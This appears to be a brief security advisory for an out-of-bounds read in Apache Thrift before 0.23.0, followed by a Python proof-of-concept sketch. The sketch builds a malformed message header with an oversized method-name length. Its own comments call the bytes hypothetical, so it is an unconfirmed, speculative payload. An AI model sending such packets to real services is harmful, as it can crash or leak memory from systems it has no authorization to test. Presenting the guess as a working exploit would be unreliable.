Out-of-bounds Read vulnerability in Apache Thrift.
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for CVE-2026-41604
# It demonstrates sending a potentially malicious payload to trigger the OOB Read
import socket
import struct
def create_malformed_thrift_packet():
# Hypothetical malformed message header
# In a real scenario, the specific bytes would align with the vulnerability trigger
# Assuming a strict length check is missing for a string or binary field
# Magic bytes + Version (Example)
header = b"\x80\x01\x00\x01"
# Method name length (High value to cause OOB)
# Sending a length that exceeds the actual buffer size
method_name_len = struct.pack(">I", 0xFFFFFFFF)
# Sequence ID
seq_id = struct.pack(">I", 0)
return header + method_name_len + seq_id
